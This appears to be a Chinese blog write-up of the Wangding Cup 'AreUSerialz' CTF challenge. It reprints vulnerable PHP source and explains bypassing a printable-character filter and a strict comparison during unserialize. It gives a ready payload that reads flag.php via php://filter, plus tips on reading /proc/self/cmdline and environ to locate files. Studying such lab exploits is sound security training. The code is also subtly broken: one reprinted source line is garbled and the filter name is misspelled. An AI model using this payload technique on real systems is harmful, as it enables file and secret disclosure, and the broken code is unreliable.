AreUSerialz 反序列化+序列化後產生不可見字符+/proc/self利用

雜言

  我從來不知道自己有那麼熱愛學習(大哭),摸魚了一個學期,最後一個月終於把期末給應付過去了,接下來就是把之前應付考試的時間補回來刷題和實習準備了,這次是5月網鼎青龍組的一道,我現在纔拿來複現。。。。

解題

  開幕雷擊

<?php
include("flag.php");
highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res$this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

} 

  Private、protecte序列化後產生不可見字符

  private屬性序列化的時候格式是%00類名%00成員名

  protecte屬性序列化的時候格式是%00*%00成員

  PHP7.1以上的反序列化不會判斷裏面參數的屬性類型了,所以可以改成public再進行反序列化,繞過private、protected序列化後產生不可見字符。__destruct()方法,當op===“2"時會將"2"變成"1”,可以把op轉成int型進行繞過

 

<?php
    class FileHandler{
        public $op;
        public $filename;
            public $content;
    }
    $a = new FileHandler();
    $a->op = 2;
    $a->filename = 'php://filter/read=conver.base64_encode/resource=./flag.php';
    echo serialize($a);
?>
playload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:58:"php://filter/read=conver.base64_encode/resource=./flag.php";s:7:"content";N;}

 

 這道題目在復現的時候用相對路徑沒問題,在比賽的時候還有一個坑點就是要知道絕對路徑 

linux提供了/proc/self/目錄,這個目錄比較獨特,不同的進程訪問該目錄時獲得的信息是不同的,內容等價於/proc/本進程pid/。進程可以通過訪問/proc/self/目錄來獲取自己的信息。

maps 記錄一些調用的擴展或者自定義 so 文件

environ 環境變量

comm 當前進程運行的程序

cmdline 程序運行的絕對路徑

cpuset docker 環境可以看 machine ID

cgroup docker環境下全是 machine ID 不太常用

  可以讀取/proc/self/cmdline找到當前路徑獲取配置信息/web/config/httpd.conf

  然後讀取/web/html/flag.php

參考鏈接

  https://blog.csdn.net/god_zzZ/article/details/106062140

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章